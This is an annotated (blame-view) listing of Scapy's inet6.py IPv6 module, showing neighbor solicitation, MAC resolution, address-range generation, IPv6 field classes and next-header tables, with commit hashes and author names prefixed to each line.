inet6.py revision 07dedfded9ae364ba246be402ebf7b4d2670153b
1c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#! /usr/bin/env python
2c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
4614f54fc4b269030ba2934b6c353fb43de886e04Phil## inet6.py --- IPv6 support for Scapy                                     ##
5614f54fc4b269030ba2934b6c353fb43de886e04Phil##              see http://natisbad.org/IPv6/                              ##
6614f54fc4b269030ba2934b6c353fb43de886e04Phil##              for more informations                                      ##
7c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
8c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>         ##
9c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                     Arnaud Ebalard <arnaud.ebalard@eads.net>            ##
10c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
11c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## This program is free software; you can redistribute it and/or modify it ##
12c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## under the terms of the GNU General Public License version 2 as          ##
13614f54fc4b269030ba2934b6c353fb43de886e04Phil## published by the Free Software Foundation.                              ##
14c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
15c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## This program is distributed in the hope that it will be useful, but     ##
16c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
17c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
18c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## General Public License for more details.                                ##
19c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
20c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
21c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
220ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss"""
230ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk LossIPv6 (Internet Protocol v6).
240ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss"""
250ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss
26614f54fc4b269030ba2934b6c353fb43de886e04Phil
2722a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotterfrom __future__ import absolute_import
28b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotterfrom __future__ import print_function
296057906368d55634d11e1d19a5cca1f127595b11Robin Jarryimport random
30d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilimport socket
316057906368d55634d11e1d19a5cca1f127595b11Robin Jarryimport sys
3222a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotterimport scapy.modules.six as six
3322a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotterfrom scapy.modules.six.moves import range
34d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilif not socket.has_ipv6:
35d7dd2222e18718ea755fe780e8ef422901ba5b0bPhil    raise socket.error("can't use AF_INET6, IPv6 is disabled")
3681dfaee354bef2beea581a3c83a33c856ade45e5Dirk Lossif not hasattr(socket, "IPPROTO_IPV6"):
3781dfaee354bef2beea581a3c83a33c856ade45e5Dirk Loss    # Workaround for http://bugs.python.org/issue6926
3881dfaee354bef2beea581a3c83a33c856ade45e5Dirk Loss    socket.IPPROTO_IPV6 = 41
3903f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulkaif not hasattr(socket, "IPPROTO_IPIP"):
4003f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulka    # Workaround for https://bitbucket.org/secdev/scapy/issue/5119
4103f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulka    socket.IPPROTO_IPIP = 4
42d7dd2222e18718ea755fe780e8ef422901ba5b0bPhil
43d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilfrom scapy.config import conf
446057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.base_classes import *
456057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.data import *
465e8857410015a93f6371459b2f870432ded39b9fgpotterfrom scapy.compat import *
4707dedfded9ae364ba246be402ebf7b4d2670153bgpotterimport scapy.consts
48614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.fields import *
49614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.packet import *
50614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.volatile import *
51614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.sendrecv import sr,sr1,srp1
52614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.as_resolvers import AS_resolver_riswhois
53614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.supersocket import SuperSocket,L3RawSocket
54614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.arch import *
5572461d0c00f182855906e57dcf6223aa9f1d8b31Philfrom scapy.utils6 import *
566057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.layers.l2 import *
576057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.layers.inet import *
586057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.utils import inet_pton, inet_ntop, strxor
596057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.error import warning
608d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarryif conf.route6 is None:
618d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarry    # unused import, only to initialize conf.route6
628d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarry    import scapy.route6
63c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
64c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
65c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
66c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Helpers                                                                  ##
67c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
68c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
69c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef get_cls(name, fallback_cls):
70614f54fc4b269030ba2934b6c353fb43de886e04Phil    return globals().get(name, fallback_cls)
71c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
72c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
73c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##########################
74c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Neighbor cache stuff ##
75c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##########################
76c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
77f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Philconf.netcache.new_cache("in6_neighbor", 120)
78c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
79caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
80c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef neighsol(addr, src, iface, timeout=1, chainCC=0):
81caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr
82caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
83caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    'src' address is used as source of the message. Message is sent on iface.
84caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    By default, timeout waiting for an answer is 1 second.
85c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
860d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    If no answer is gathered, None is returned. Else, the answer is
87c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    returned (ethernet frame).
88c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
89c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
90c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr))
91c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    d = inet_ntop(socket.AF_INET6, nsma)
92c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    dm = in6_getnsmac(nsma)
93c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = Ether(dst=dm)/IPv6(dst=d, src=src, hlim=255)
94c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p /= ICMPv6ND_NS(tgt=addr)
95c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface))
960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    res = srp1(p,type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0,
970d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               chainCC=chainCC)
98c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
99c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
101caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef getmacbyip6(ip6, chainCC=0):
103caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Returns the MAC address corresponding to an IPv6 address
104caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    neighborCache.get() method is used on instantiated neighbor cache.
106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Resolution mechanism is described in associated doc string.
107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    (chainCC parameter value ends up being passed to sending function
109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil     used to perform the resolution, if needed)
110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
111bb7e8d7b4a6fe4a6d71c6d3b77898618d5286100gpotter
112adc65770503b25e381492d1c4eb47cae8f722652gpotter    if isinstance(ip6, Net6):
113d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter        ip6 = str(ip6)
114f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if in6_ismaddr(ip6): # Multicast
116f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6))
117f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
118f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1197139f0150bfd006ab76b64a0aefbf2de2fc35443Robin Jarry    iff,a,nh = conf.route6.route(ip6)
120f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
12107dedfded9ae364ba246be402ebf7b4d2670153bgpotter    if iff == scapy.consts.LOOPBACK_INTERFACE:
12207dedfded9ae364ba246be402ebf7b4d2670153bgpotter        return "ff:ff:ff:ff:ff:ff"
123f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if nh != '::':
125f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        ip6 = nh # Found next hop
126f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
127f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    mac = conf.netcache.in6_neighbor.get(ip6)
128f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    if mac:
129f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
130f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
131f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    res = neighsol(ip6, a, iff, chainCC=chainCC)
132f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
133f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    if res is not None:
134429082158fc01432c9d5e4a3de775f7a6e07a021Guillaume Valadon        if ICMPv6NDOptDstLLAddr in res:
1350d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            mac = res[ICMPv6NDOptDstLLAddr].lladdr
1360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        else:
1370d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            mac = res.src
138f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        conf.netcache.in6_neighbor[ip6] = mac
139f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
140f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
141f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    return None
142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###              IPv6 addresses manipulation routines                     ###
147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Net6(Gen): # syntax ex. fec0::/126
151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """Generate a list of IPv6s from a network address or a name"""
152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ipv6"
15347bf4c47b9b2668a1b82c19078147708512e99edgpotter    ip_regex = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$")
154c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, net):
156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.repr = net
157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
158c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        tmp = net.split('/')+["128"]
15947bf4c47b9b2668a1b82c19078147708512e99edgpotter        if not self.ip_regex.match(net):
160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp[0]=socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0]
161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        netmask = int(tmp[1])
16377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        self.net = inet_pton(socket.AF_INET6, tmp[0])
164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.mask = in6_cidr2mask(netmask)
16577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        self.plen = netmask
166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
167c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __iter__(self):
168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        def m8(i):
16977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if i % 8 == 0:
170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return i
17122a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter        tuple = [x for x in range(8, 129) if m8(x)]
172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a = in6_and(self.net, self.mask)
17405dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon        tmp = [x for x in struct.unpack("16B", a)]
1750d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        def parse_digit(a, netmask):
177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            netmask = min(8,max(netmask,0))
178291400c1b6f65363e33cc982aaf0d43d31cc424egpotter            a = (int(a) & (0xff<<netmask),(int(a) | (0xff>>(8-netmask)))+1)
179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return a
18022a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter        self.parsed = list(map(lambda x,y: parse_digit(x,y), tmp, map(lambda x,nm=self.plen: x-nm, tuple)))
181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        def rec(n, l):
18377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if n and  n % 2 == 0:
18477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sep = ':'
1850d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            else:
186c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                sep = ''
187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if n == 16:
18877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return l
189c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
19077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                ll = []
19122a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                for i in range(*self.parsed[n]):
19277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    for y in l:
19377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                        ll += [y+sep+'%.2x'%i]
19477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return rec(n+1, ll)
195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return iter(rec(0, ['']))
197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
198f317c6504219a427117ccd94e8a11063e0b376adgpotter    def __str__(self):
199a3618a09887e39536009036d2e88341c61d4d385gpotter        try:
200a3618a09887e39536009036d2e88341c61d4d385gpotter            return next(self.__iter__())
201a3618a09887e39536009036d2e88341c61d4d385gpotter        except StopIteration:
202a3618a09887e39536009036d2e88341c61d4d385gpotter            return None
203a3618a09887e39536009036d2e88341c61d4d385gpotter
204a3618a09887e39536009036d2e88341c61d4d385gpotter    def __eq__(self, other):
205a3618a09887e39536009036d2e88341c61d4d385gpotter        return str(other) == str(self)
206a3618a09887e39536009036d2e88341c61d4d385gpotter
207a3618a09887e39536009036d2e88341c61d4d385gpotter    def __ne__(self, other):
208a3618a09887e39536009036d2e88341c61d4d385gpotter        return str(other) != str(self)
209f317c6504219a427117ccd94e8a11063e0b376adgpotter
210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __repr__(self):
211ce8d785c61d45928cc6da340beee91d32569d20dPierre LALET        return "Net6(%r)" % self.repr
212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                              IPv6 Class                               ###
221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IP6Field(Field):
225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        Field.__init__(self, name, default, "16s")
227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
228d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(x, str):
229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
23077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                x = in6_ptop(x)
231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except socket.error:
232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = Net6(x)
233d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        elif isinstance(x, list):
23405dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon            x = [Net6(a) for a in x]
235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x
236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
2375e8857410015a93f6371459b2f870432ded39b9fgpotter        return inet_pton(socket.AF_INET6, plain_str(x))
238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, x):
239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return inet_ntop(socket.AF_INET6, x)
240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def any2i(self, pkt, x):
241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.h2i(pkt,x)
242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
24477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return self.i2h(pkt,x)
245d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        elif not isinstance(x, Net6) and not isinstance(x, list):
24677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if in6_isaddrTeredo(x):   # print Teredo info
2470d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                server, flag, maddr, mport = teredoAddrExtractInfo(x)
24877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr,mport)
24977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            elif in6_isaddr6to4(x):   # print encapsulated address
250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                vaddr = in6_6to4ExtractAddr(x)
25177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr)
25277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return self.i2h(pkt, x)       # No specific information to return
25351db482d4ed62a5eb7b70c0c4f7a3954d41b6165Phil    def randval(self):
25451db482d4ed62a5eb7b70c0c4f7a3954d41b6165Phil        return RandIP6()
255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass SourceIP6Field(IP6Field):
257b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["dstname"]
258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, dstname):
259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        IP6Field.__init__(self, name, None)
260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.dstname = dstname
261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
262c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            dst=getattr(pkt,self.dstname)
264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            iff,x,nh = conf.route6.route(dst)
265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return IP6Field.i2m(self, pkt, x)
266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
26839b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            if conf.route6 is None:
26939b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                # unused import, only to initialize conf.route6
27039b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                import scapy.route6
27139b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            dst = ("::" if self.dstname is None else getattr(pkt, self.dstname))
27239b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            if isinstance(dst, (Gen, list)):
27339b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                r = {conf.route6.route(daddr) for daddr in dst}
27439b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                if len(r) > 1:
27539b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                    warning("More than one possible route for %r" % (dst,))
27639b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                x = min(r)[1]
277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
27839b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                x = conf.route6.route(dst)[1]
279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return IP6Field.i2h(self, pkt, x)
280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2814ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALETclass DestIP6Field(IP6Field, DestField):
2824ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALET    bindings = {}
283104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def __init__(self, name, default):
284104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        IP6Field.__init__(self, name, None)
2854ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALET        DestField.__init__(self, name, default)
286104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def i2m(self, pkt, x):
287104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        if x is None:
288104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET            x = self.dst_from_pkt(pkt)
289104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        return IP6Field.i2m(self, pkt, x)
290104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def i2h(self, pkt, x):
291104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        if x is None:
292104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET            x = self.dst_from_pkt(pkt)
293104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        return IP6Field.i2h(self, pkt, x)
294104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET
295c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilipv6nh = { 0:"Hop-by-Hop Option Header",
296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           4:"IP",
297c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           6:"TCP",
298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          17:"UDP",
299c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          41:"IPv6",
300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          43:"Routing Header",
301c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          44:"Fragment Header",
302c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          47:"GRE",
303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          50:"ESP Header",
304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          51:"AH Header",
305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          58:"ICMPv6",
306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          59:"No Next Header",
307c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          60:"Destination Option Header",
308caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter         112:"VRRP",
3090d49a3d0e63f90e8a46a9221b85ed599fa1b186fsachetmittal         132:"SCTP",
3100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz         135:"Mobility Header"}
311c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilipv6nhcls = {  0: "IPv6ExtHdrHopByHop",
313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4: "IP",
314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               6: "TCP",
315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               17: "UDP",
316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               43: "IPv6ExtHdrRouting",
317c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               44: "IPv6ExtHdrFragment",
318c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              #50: "IPv6ExtHrESP",
319c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              #51: "IPv6ExtHdrAH",
3200d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               58: "ICMPv6Unknown",
321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               59: "Raw",
